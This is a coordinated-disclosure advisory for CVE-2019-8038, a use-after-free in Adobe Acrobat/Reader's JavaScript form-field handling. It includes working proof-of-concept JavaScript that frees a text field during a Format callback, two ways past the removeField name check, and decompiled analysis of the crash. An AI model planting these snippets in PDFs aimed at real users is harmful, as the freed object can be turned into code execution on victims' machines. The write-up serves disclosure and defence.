CVE: CVE-2019-8038

Tested Versions:

  • Adobe Acrobat and Reader versions 2019.012.20035 and earlier

Product URL(s):

Description of the vulnerability

Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF). The basic Acrobat Reader, available for several desktop and mobile platforms, is freeware; it supports viewing, printing and annotating of PDF files. The commercial proprietary Acrobat, available for Microsoft Windows and macOS only, can also create, edit, convert, digitally sign, encrypt, export and publish PDF files.

There is an use-after-free bug when Adobe Reader/Acrobat DC executes JavaScript relating to form fields.

The idea is to have a Document.Field object freed (in a callback) when it is in use. We start off with some code that attempts to do this:

var f = this.addField("Field", "text", 0, [0, 0, 100, 100]); // Create a field object

a = {}
t = this
a.toString = function() {
	t.removeField("Field") // Try to free the field object
	return "$"
}

// When Format event happens AFNumber_Format is called. 
// Its fith argument accepts string so `a.toString` is called.
f.setAction("Format",'AFNumber_Format(2, 1, 1, 1, a, 1);');

undefined
NotAllowedError: Security settings prevent access to this property or method.
Doc.removeField:6:Field Field:Format

We see that NotAllowedError exception is raised, indicating that there are some checks inside this.removeField. Nevertheless, this code does seem to work partially.

var f = this.addField("Field", "text", 0, [0, 0, 100, 100]); //Create the first field
var f2  = this.addField("Field2", "text", 0, [0+100, 0, 100+100, 100]); //Create the second field

a = {}
t = this
a.toString = function() {
	t.removeField("Field2") //Instead of remove "Field" we remove "Field2"
	return "$"
}

f.setAction("Format",'AFNumber_Format(2, 1, 1, 1, a, 1);');

The second field is successfully removed. My conclusion is that the check inside this.removeField is based on field’s name. This led me to my final test.

var f = this.addField("Field", "text", 0, [0, 0, 100, 100]); //Create the first field
var f2 = this.addField("textField", "text", 0 , [20+200, 100, 100+200, 20]); //Create the second field

i = 0
a = {}
t = this
a.toString = function() {
	f2.value = 444 //We trigger "textField" Format event
	return "$"
}

f2.setAction("Format", "i+=1; if (i==2) t.removeField('Field')") //Remove "Field" here.
f.setAction("Format",'AFNumber_Format(2, 1, 1, 1, a, 1);');

When page heap is enabled the code above will crash Adobe Reader DC. The program tries to access an freed CTextField object.

Vulnerability Analysis

In the native implementation of document.removeField at AcroForm.api+0x021A043 there is a check to prevent deleting a Field in the middle of a Format event. The check is at AcroForm.api+0x021A1AA:

  event_object = (*(int (**)(void))(dword_B195C0 + 0x18C))(); // try to get the event object 
  if ( event_object ) //event_object is not null we are inside the callback process further
  {
    event_target = (*(int (__cdecl **)(int, signed int))(dword_B195C0 + 0x244))(event_object, 1); //get target property of event_object
    if ( event_target )
    {
      v12 = sub_5EDA0(&v38, event_target);
      LOBYTE(v50) = 1;
      v13 = (_DWORD *)sub_5F037(v12, (int)&v37, (int)"name");// event.target.name
      LOBYTE(v50) = 2;
      sub_615B4(v13, (int)&v39);
      LOBYTE(v50) = 3;
      sub_F0B2C(v42, (int)&v39);
      sub_5FE58(&v39);
      sub_5FEBB(&v37);
      LOBYTE(v50) = 7;
      sub_5FE58(&v38);
      v24 = (_BYTE *)(&word_2 + 1);
      sub_287485(v42, (int)&v18);
      sub_215473(&v49, v18, v19, v20, v21, v22, v23, (int)v24);
      LOBYTE(v50) = 8;
      if ( z_wrapper_strcmp(&v49, v9) ) //perform the strcmp
      {
        v24 = 0;
        v23 = 11;
        v22 = a3;
        v21 = a2;
        v20 = a1;
        v14 = (*(int (__cdecl **)(int, int, int, signed int, _DWORD))(dword_B195C0 + 0x160))(a1, a2, a3, 11, 0);// raise exception
        LOBYTE(v50) = 9;
        if ( v49 )
          sub_52DF4(v49);
        sub_5FE58(v42);
        v50 = 10;
        goto LABEL_24;
      }
      LOBYTE(v50) = 11;
      if ( v49 )
        sub_52DF4(v49);
      LOBYTE(v50) = 0;
      sub_5FE58(v42);
    }
  }

The check is naively assumes that if event.target.name is different from the first argument passed to document.removeField which is the name of fields we want to remove, then it is safe to process further.

There are two ways to bypass this check. The first is to change event.target by triggering another event callback inside the current event callback like the PoC above or just reassigning event.target with another object that has a different name.

var f = this.addField("Field", "text", 0, [0, 0, 55, 50]);
f2 = this.addField("zxc", "text", 0, [0+100, 0, 55+100, 50]);
f.setAction("Format",'event.target=f2; t.removeField("Field")'); //reassign event.target with f2 that has different name

The second way is using Form Field Hierarchies. The crash happens at AcroForm+0x031F2E6. EDI register point to a memory region whose first pointer point to AcroForm+0x06CFC34 which is CTextWidget::vftable:

.rdata:006CFC34 ; const CTextWidget::`vftable'
.rdata:006CFC34 ??_7CTextWidget@@6B@ dd offset sub_10E5D0
.rdata:006CFC34                                         ; DATA XREF: sub_10A251+24↑o
.rdata:006CFC38                 dd offset sub_321B0D
.rdata:006CFC3C                 dd offset sub_3225EF
.rdata:006CFC40                 dd offset sub_322552
.rdata:006CFC44                 dd offset sub_32A620
.rdata:006CFC48                 dd offset sub_1D0A6A
.rdata:006CFC4C                 dd offset hb_set_invert
.rdata:006CFC50                 dd offset sub_3288F5
.rdata:006CFC54                 dd offset sub_327A41
.rdata:006CFC58                 dd offset sub_329BC1
.rdata:006CFC5C                 dd offset sub_2D9C64
.rdata:006CFC60                 dd offset sub_3224B8
.rdata:006CFC64                 dd offset sub_3212A8
.rdata:006CFC68                 dd offset sub_3271A2
.rdata:006CFC6C                 dd offset sub_321C5E
.rdata:006CFC70                 dd offset sub_321CFF
.rdata:006CFC74                 dd offset sub_109E47
.rdata:006CFC78                 dd offset sub_3271E8
.rdata:006CFC7C                 dd offset sub_708A0
.rdata:006CFC80                 dd offset sub_10E664
.rdata:006CFC84                 dd offset sub_32718B

EDI is a this pointer that points to a CTextWidget object which is freed when removeField is called. With proper memory manipulation this bug can be turned into code execution inside sandbox context.

Timeline:

  • 2019-06-20 Vulnerability reported to vendor via ZDI
  • 2019-08-19 Coordinated public release of advisory

Vendor Response

The vendor has acknowledged the issue and released an update to address it.

This issue is covered in the vendor’s Security bulletin APSB19-41.